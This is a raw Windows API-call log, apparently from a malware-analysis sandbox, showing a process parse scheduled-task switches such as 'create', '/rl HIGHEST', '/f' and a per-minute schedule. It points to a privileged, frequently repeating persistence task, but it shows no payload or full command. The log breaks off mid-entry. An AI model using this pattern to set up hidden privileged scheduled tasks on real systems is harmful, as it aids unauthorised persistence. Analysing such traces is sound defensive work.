[0141.632] lstrlenW (lpString="|rl|") returned 4 [0141.632] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0141.632] SetLastError (dwErrCode=0x490) [0141.633] lstrlenW (lpString="rl") returned 2 [0141.633] lstrlenW (lpString="rl") returned 2 [0141.633] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.633] lstrlenW (lpString="rl") returned 2 [0141.633] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.633] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.633] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.633] lstrlenW (lpString="|rl|") returned 4 [0141.633] lstrlenW (lpString="|rl|") returned 4 [0141.633] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0141.633] SetLastError (dwErrCode=0x0) [0141.633] SetLastError (dwErrCode=0x0) [0141.633] lstrlenW (lpString="HIGHEST") returned 7 [0141.633] lstrlenW (lpString="-/") returned 2 [0141.633] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0141.633] SetLastError (dwErrCode=0x490) [0141.633] SetLastError (dwErrCode=0x490) [0141.633] SetLastError (dwErrCode=0x0) [0141.633] lstrlenW (lpString="HIGHEST") returned 7 [0141.633] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0141.633] SetLastError (dwErrCode=0x490) [0141.633] SetLastError (dwErrCode=0x0) [0141.633] _memicmp (_Buf1=0x34d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.633] lstrlenW (lpString="HIGHEST") returned 7 [0141.633] lstrlenW (lpString="HIGHEST") returned 7 [0141.633] lstrlenW (lpString=" \x09") returned 2 [0141.633] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0141.633] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0141.634] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0141.634] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0141.634] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0141.634] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0141.634] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0141.634] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0141.634] GetLastError () returned 0x0 [0141.634] lstrlenW (lpString="HIGHEST") returned 7 [0141.634] lstrlenW (lpString="HIGHEST") returned 7 [0141.634] SetLastError (dwErrCode=0x0) [0141.634] SetLastError (dwErrCode=0x0) [0141.634] lstrlenW (lpString="/f") returned 2 [0141.634] lstrlenW (lpString="-/") returned 2 [0141.634] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.634] lstrlenW (lpString="create") returned 6 [0141.634] lstrlenW (lpString="create") returned 6 [0141.634] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.634] lstrlenW (lpString="f") returned 1 [0141.634] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.634] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|create|") returned 8 [0141.634] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.634] lstrlenW (lpString="|create|") returned 8 [0141.634] lstrlenW (lpString="|f|") returned 3 [0141.634] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0141.634] SetLastError (dwErrCode=0x490) [0141.634] lstrlenW (lpString="?") returned 1 [0141.634] lstrlenW (lpString="?") returned 1 [0141.634] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.635] lstrlenW (lpString="f") returned 1 [0141.635] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.635] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|?|") returned 3 [0141.635] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.635] lstrlenW (lpString="|?|") returned 3 [0141.635] lstrlenW (lpString="|f|") returned 3 [0141.635] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0141.635] SetLastError (dwErrCode=0x490) [0141.635] lstrlenW (lpString="s") returned 1 [0141.635] lstrlenW (lpString="s") returned 1 [0141.635] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.635] lstrlenW (lpString="f") returned 1 [0141.635] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.635] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|s|") returned 3 [0141.635] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.635] lstrlenW (lpString="|s|") returned 3 [0141.635] lstrlenW (lpString="|f|") returned 3 [0141.635] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0141.635] SetLastError (dwErrCode=0x490) [0141.635] lstrlenW (lpString="u") returned 1 [0141.635] lstrlenW (lpString="u") returned 1 [0141.635] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.635] lstrlenW (lpString="f") returned 1 [0141.635] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.635] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|u|") returned 3 [0141.635] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.635] lstrlenW (lpString="|u|") returned 3 [0141.636] lstrlenW (lpString="|f|") returned 3 [0141.636] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0141.636] SetLastError (dwErrCode=0x490) [0141.636] lstrlenW (lpString="p") returned 1 [0141.636] lstrlenW (lpString="p") returned 1 [0141.636] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.636] lstrlenW (lpString="f") returned 1 [0141.636] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.636] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|p|") returned 3 [0141.636] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.636] lstrlenW (lpString="|p|") returned 3 [0141.636] lstrlenW (lpString="|f|") returned 3 [0141.636] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0141.636] SetLastError (dwErrCode=0x490) [0141.636] lstrlenW (lpString="ru") returned 2 [0141.636] lstrlenW (lpString="ru") returned 2 [0141.636] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.636] lstrlenW (lpString="f") returned 1 [0141.636] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.636] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ru|") returned 4 [0141.636] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.636] lstrlenW (lpString="|ru|") returned 4 [0141.636] lstrlenW (lpString="|f|") returned 3 [0141.636] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0141.636] SetLastError (dwErrCode=0x490) [0141.637] lstrlenW (lpString="rp") returned 2 [0141.637] lstrlenW (lpString="rp") returned 2 [0141.637] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.637] lstrlenW (lpString="f") returned 1 [0141.637] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.637] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rp|") returned 4 [0141.637] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.637] lstrlenW (lpString="|rp|") returned 4 [0141.637] lstrlenW (lpString="|f|") returned 3 [0141.637] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0141.637] SetLastError (dwErrCode=0x490) [0141.637] lstrlenW (lpString="sc") returned 2 [0141.637] lstrlenW (lpString="sc") returned 2 [0141.637] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.637] lstrlenW (lpString="f") returned 1 [0141.637] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.637] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.637] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.637] lstrlenW (lpString="|sc|") returned 4 [0141.637] lstrlenW (lpString="|f|") returned 3 [0141.637] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0141.637] SetLastError (dwErrCode=0x490) [0141.637] lstrlenW (lpString="mo") returned 2 [0141.637] lstrlenW (lpString="mo") returned 2 [0141.637] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.637] lstrlenW (lpString="f") returned 1 [0141.637] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.638] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.638] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.638] lstrlenW (lpString="|mo|") returned 4 [0141.638] lstrlenW (lpString="|f|") returned 3 [0141.638] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0141.638] SetLastError (dwErrCode=0x490) [0141.638] lstrlenW (lpString="d") returned 1 [0141.638] lstrlenW (lpString="d") returned 1 [0141.638] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.638] lstrlenW (lpString="f") returned 1 [0141.638] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.638] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|d|") returned 3 [0141.638] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.638] lstrlenW (lpString="|d|") returned 3 [0141.638] lstrlenW (lpString="|f|") returned 3 [0141.638] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0141.638] SetLastError (dwErrCode=0x490) [0141.638] lstrlenW (lpString="m") returned 1 [0141.638] lstrlenW (lpString="m") returned 1 [0141.638] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.638] lstrlenW (lpString="f") returned 1 [0141.638] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.638] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|m|") returned 3 [0141.638] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.638] lstrlenW (lpString="|m|") returned 3 [0141.638] lstrlenW (lpString="|f|") returned 3 [0141.638] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0141.639] SetLastError (dwErrCode=0x490) [0141.639] lstrlenW (lpString="i") returned 1 [0141.639] lstrlenW (lpString="i") returned 1 [0141.639] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.639] lstrlenW (lpString="f") returned 1 [0141.639] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.639] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|i|") returned 3 [0141.639] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.639] lstrlenW (lpString="|i|") returned 3 [0141.639] lstrlenW (lpString="|f|") returned 3 [0141.639] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0141.639] SetLastError (dwErrCode=0x490) [0141.639] lstrlenW (lpString="tn") returned 2 [0141.639] lstrlenW (lpString="tn") returned 2 [0141.639] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.639] lstrlenW (lpString="f") returned 1 [0141.639] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.639] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.639] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.639] lstrlenW (lpString="|tn|") returned 4 [0141.639] lstrlenW (lpString="|f|") returned 3 [0141.639] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0141.639] SetLastError (dwErrCode=0x490) [0141.639] lstrlenW (lpString="tr") returned 2 [0141.639] lstrlenW (lpString="tr") returned 2 [0141.639] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.639] lstrlenW (lpString="f") returned 1 [0141.640] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.640] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.640] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.640] lstrlenW (lpString="|tr|") returned 4 [0141.640] lstrlenW (lpString="|f|") returned 3 [0141.640] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0141.640] SetLastError (dwErrCode=0x490) [0141.640] lstrlenW (lpString="st") returned 2 [0141.640] lstrlenW (lpString="st") returned 2 [0141.640] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.640] lstrlenW (lpString="f") returned 1 [0141.640] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.640] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|st|") returned 4 [0141.708] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.708] lstrlenW (lpString="|st|") returned 4 [0141.708] lstrlenW (lpString="|f|") returned 3 [0141.708] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0141.708] SetLastError (dwErrCode=0x490) [0141.708] lstrlenW (lpString="sd") returned 2 [0141.708] lstrlenW (lpString="sd") returned 2 [0141.708] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.708] lstrlenW (lpString="f") returned 1 [0141.708] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.708] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sd|") returned 4 [0141.710] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.710] lstrlenW (lpString="|sd|") returned 4 [0141.710] lstrlenW (lpString="|f|") returned 3 [0141.710] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0141.710] SetLastError (dwErrCode=0x490) [0141.710] lstrlenW (lpString="ed") returned 2 [0141.710] lstrlenW (lpString="ed") returned 2 [0141.710] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.710] lstrlenW (lpString="f") returned 1 [0141.710] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.710] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ed|") returned 4 [0141.710] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.710] lstrlenW (lpString="|ed|") returned 4 [0141.710] lstrlenW (lpString="|f|") returned 3 [0141.711] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0141.711] SetLastError (dwErrCode=0x490) [0141.711] lstrlenW (lpString="it") returned 2 [0141.711] lstrlenW (lpString="it") returned 2 [0141.711] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.711] lstrlenW (lpString="f") returned 1 [0141.711] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.711] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|it|") returned 4 [0141.711] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.711] lstrlenW (lpString="|it|") returned 4 [0141.711] lstrlenW (lpString="|f|") returned 3 [0141.711] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0141.711] SetLastError (dwErrCode=0x490) [0141.711] lstrlenW (lpString="et") returned 2 [0141.711] lstrlenW (lpString="et") returned 2 [0141.711] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.712] lstrlenW (lpString="f") returned 1 [0141.712] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.712] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|et|") returned 4 [0141.712] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.712] lstrlenW (lpString="|et|") returned 4 [0141.712] lstrlenW (lpString="|f|") returned 3 [0141.712] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0141.712] SetLastError (dwErrCode=0x490) [0141.712] lstrlenW (lpString="k") returned 1 [0141.712] lstrlenW (lpString="k") returned 1 [0141.712] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.712] lstrlenW (lpString="f") returned 1 [0141.712] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.712] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|k|") returned 3 [0141.712] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.712] lstrlenW (lpString="|k|") returned 3 [0141.712] lstrlenW (lpString="|f|") returned 3 [0141.712] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0141.712] SetLastError (dwErrCode=0x490) [0141.712] lstrlenW (lpString="du") returned 2 [0141.712] lstrlenW (lpString="du") returned 2 [0141.712] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.712] lstrlenW (lpString="f") returned 1 [0141.712] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.712] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|du|") returned 4 [0141.712] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.713] lstrlenW (lpString="|du|") returned 4 [0141.713] lstrlenW (lpString="|f|") returned 3 [0141.713] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0141.713] SetLastError (dwErrCode=0x490) [0141.713] lstrlenW (lpString="ri") returned 2 [0141.713] lstrlenW (lpString="ri") returned 2 [0141.713] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.713] lstrlenW (lpString="f") returned 1 [0141.713] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.713] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ri|") returned 4 [0141.713] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.713] lstrlenW (lpString="|ri|") returned 4 [0141.713] lstrlenW (lpString="|f|") returned 3 [0141.713] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0141.713] SetLastError (dwErrCode=0x490) [0141.713] lstrlenW (lpString="z") returned 1 [0141.713] lstrlenW (lpString="z") returned 1 [0141.713] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.713] lstrlenW (lpString="f") returned 1 [0141.713] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.713] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|z|") returned 3 [0141.713] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.713] lstrlenW (lpString="|z|") returned 3 [0141.713] lstrlenW (lpString="|f|") returned 3 [0141.713] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0141.713] SetLastError (dwErrCode=0x490) [0141.713] lstrlenW (lpString="f") returned 1 [0141.713] lstrlenW (lpString="f") returned 1 [0141.713] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.714] lstrlenW (lpString="f") returned 1 [0141.714] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.714] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.714] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.714] lstrlenW (lpString="|f|") returned 3 [0141.714] lstrlenW (lpString="|f|") returned 3 [0141.714] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0141.714] SetLastError (dwErrCode=0x0) [0141.714] SetLastError (dwErrCode=0x0) [0141.714] GetProcessHeap () returned 0x330000 [0141.714] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd90 [0141.714] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.714] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0141.714] lstrlenW (lpString="LIMITED") returned 7 [0141.714] GetProcessHeap () returned 0x330000 [0141.714] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x10) returned 0x34d580 [0141.714] GetThreadLocale () returned 0x409 [0141.714] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0141.714] GetProcessHeap () returned 0x330000 [0141.714] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd60 [0141.714] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.714] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0141.714] lstrlenW (lpString="HIGHEST") returned 7 [0141.714] GetProcessHeap () returned 0x330000 [0141.714] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x10) returned 0x34d5a0 [0141.714] GetThreadLocale () returned 0x409 [0141.714] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0141.715] GetProcessHeap () returned 0x330000 [0141.715] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd30 [0141.715] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.715] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0141.715] lstrlenW (lpString="MINUTE") returned 6 [0141.715] GetProcessHeap () returned 0x330000 [0141.715] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34d5c0 [0141.715] GetThreadLocale () returned 0x409 [0141.715] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0141.715] SetLastError (dwErrCode=0x0) [0141.715] GetProcessHeap () returned 0x330000 [0141.715] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x1fc) returned 0x34c390 [0141.715] GetProcessHeap () returned 0x330000 [0141.715] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd00 [0141.715] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.715] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0141.715] lstrlenW (lpString="First") returned 5 [0141.715] GetProcessHeap () returned 0x330000 [0141.715] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xc) returned 0x34d5e0 [0141.715] GetProcessHeap () returned 0x330000 [0141.715] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ccd0 [0141.715] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.715] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0141.715] lstrlenW (lpString="Second") returned 6 [0141.715] GetProcessHeap () returned 0x330000 [0141.716] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34d600 [0141.716] GetProcessHeap () returned 0x330000 [0141.716] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cca0 [0141.716] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.716] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0141.716] lstrlenW (lpString="Third") returned 5 [0141.716] GetProcessHeap () returned 0x330000 [0141.716] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xc) returned 0x34d620 [0141.716] GetProcessHeap () returned 0x330000 [0141.716] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cc70 [0141.716] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.716] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0141.716] lstrlenW (lpString="Fourth") returned 6 [0141.716] GetProcessHeap () returned 0x330000 [0141.716] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34d640 [0141.716] _memicmp 